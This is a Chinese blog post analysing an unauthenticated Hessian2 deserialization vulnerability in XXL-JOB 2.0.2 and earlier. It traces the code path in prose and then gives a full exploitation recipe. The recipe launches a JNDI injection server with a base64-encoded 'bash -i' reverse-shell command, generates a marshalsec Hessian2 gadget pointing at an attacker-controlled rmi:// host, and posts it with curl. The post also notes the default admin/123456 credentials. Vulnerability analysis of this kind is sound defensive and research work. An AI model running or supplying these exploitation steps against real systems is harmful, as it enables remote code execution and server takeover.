欢迎光临
我们一直在努力

老曲新唱之XXL-JOB未授权Hessian2反序列化调试分析

XXL-JOB 未授权 Hessian2反序列化

0x00前言

前一段时间在一个红队项目中偶然间发现了一个XXL-JOB,比较老的一个洞了,搭建成功后会有一个默认账号密码admin/123456写在文件中的。这不是重点,重点是xxl-job <=2.0.2存在Hessian2反序列化。

0x01分析

首先看一下这个未授权反序列化中的未授权,这里判断是否有权限限制的时候默认false了这就导致api可以未授权访问了。

继续跟进看一下是怎么做到反序列化的,跟进一下invokeAdminService方法,继续跟进handle,这里有一个if判断,target为空的时候会进入if触发parseRequest

继续跟进parseRequest,传入数据不为空就会触发下面的反序列化方法

在反序列化的时候重写了方法使用了Hessian2反序列

至于为什么使用Hessian2是因为XxlJobDynamicScheduler这个动态调度类中调用了initRpcProvider方法,指定了hessian2

0x02利用

未授权API http:///x.x.x.x/api

启动恶意JNDI注入利用服务https://github.com/welk1n/JNDI-Injection-Exploit

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A x.x.x.x  -C "bash -c {echo,xxxxxxxxxxxxxxx}|{base64,-d}|{bash,-i}"

利用marshalsec最新版本生成Hessian2这个Gadget来生成payload(这里注意一下高版本JDK的trustURLCodebase,选择对应的payload)

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian2 SpringAbstractBeanFactoryPointcutAdvisor rmi://x.x.x.x:1099/fxtndd > test.ser

发包Go

curl -XPOST -H "Content-Type: x-application/hessian" --data-binary @test.ser http://127.0.0.1:8080/xxl-job-admin/api

参考资料

https://github.com/welk1n/JNDI-Injection-Exploit

https://github.com/mbechler/marshalsec

未经允许不得转载:Caldow » 老曲新唱之XXL-JOB未授权Hessian2反序列化调试分析
分享到: 生成海报

切换注册

登录

忘记密码 ?

切换登录

注册

我们将发送一封验证邮件至你的邮箱, 请正确填写以完成账号注册和激活